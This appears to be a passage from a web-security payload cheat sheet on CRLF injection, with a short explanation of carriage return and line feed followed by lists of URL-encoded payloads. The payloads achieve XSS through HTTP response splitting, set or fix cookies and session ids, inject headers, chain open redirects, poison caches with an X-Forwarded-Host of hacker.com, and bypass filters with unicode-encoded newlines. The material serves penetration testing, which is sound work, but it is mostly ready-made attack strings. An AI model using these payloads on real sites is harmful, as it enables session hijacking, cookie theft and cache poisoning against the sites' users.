They’re used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. In the HTTP protocol, the CR-LF sequence is always used to terminate a line. + +A CRLF Injection attack occurs when a user manages to submit a CRLF into an application. This is most commonly done by modifying an HTTP parameter or URL. + +## Impacts of CRLF Injection +* XSS +* HTTP Response Splitting +* Open Redirect +* Session Fixation +* HTTP Header Injection +* Web Cache poisoning + +## How to Exploit +* **XSS** +```html +# By Disabling XSS Protection +/%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23 + +# By Popping an alert containing sensitive user information +/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E +%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a%0d%0a0%0d%0a/%2e%2e + +# Response splitting on 302 Redirect, before Location header (Discovered in DoD) +%0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E + +# Response splitting on 301 code, chained with Open Redirect to corrupt location header and to break 301. +# Note: xxx:1 was used for breaking open redirect destination (Location header). +# Great example how of to escalate CRLF to XSS on a such, it would seem, unexploitable 301 status code. +%2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/script%3e%2F..%2F..%2F..%2F../tr +``` + +* **HTTP Response Splitting / Cookie Injection** + +HTTP Response Splitting allows an attacker to set malicious cookies on the victim’s browser. In most cases, the following GET request will result in a 307 Redirect, and thus the victim will be redirected to target.com & the URL won’t contain the Set-Cookie parameter. In the background however, the cookie will be set. +```html +# Check if the response is setting this cookie +/%0D%0ASet-Cookie:mycookie=myvalue +``` + +* **Open Redirect** +```html +//www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 +/www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 +/google.com/%2F..%0D%0AHeader-Test:test2 +/%0d%0aLocation:%20http://example.com +``` + +* **Session Fixation** + +Similar to the Cookie Injection attack, here the attacker sets a user’s session id to a particular value. This link is sent to the victim and when the victim logs in using this session, the attacker can also log in by using the same session id. +```html +/%0d%0aSet-Cookie:session_id=942... +%0dSet-Cookie:csrf_token=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; +``` + +* **HTTP Header Injection** +```html +%0d%0aheader:header +%0aheader:header +%0dheader:header +%23%0dheader:header +%3f%0dheader:header +/%250aheader:header +/%25250aheader:header +/%%0a0aheader:header +/%3f%0dheader:header +/%23%0dheader:header +/%25%30aheader:header +/%25%30%61header:header +/%u000aheader:header +%E5%98%8A%E5%98%8Dheader:header +``` + +* **Web Cache poisoning** +```html +/%0d%0aX-Forwarded-Host:hacker.com +``` + +* **Filter Bypass** +```html +%E5%98%8A = %0A = \u560a +%E5%98%8D = %0D = \u560d +%E5%98%BE = %3E = \u563e (>) +%E5%98%BC = %3C = \u563c (<) +Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test +``` + + +
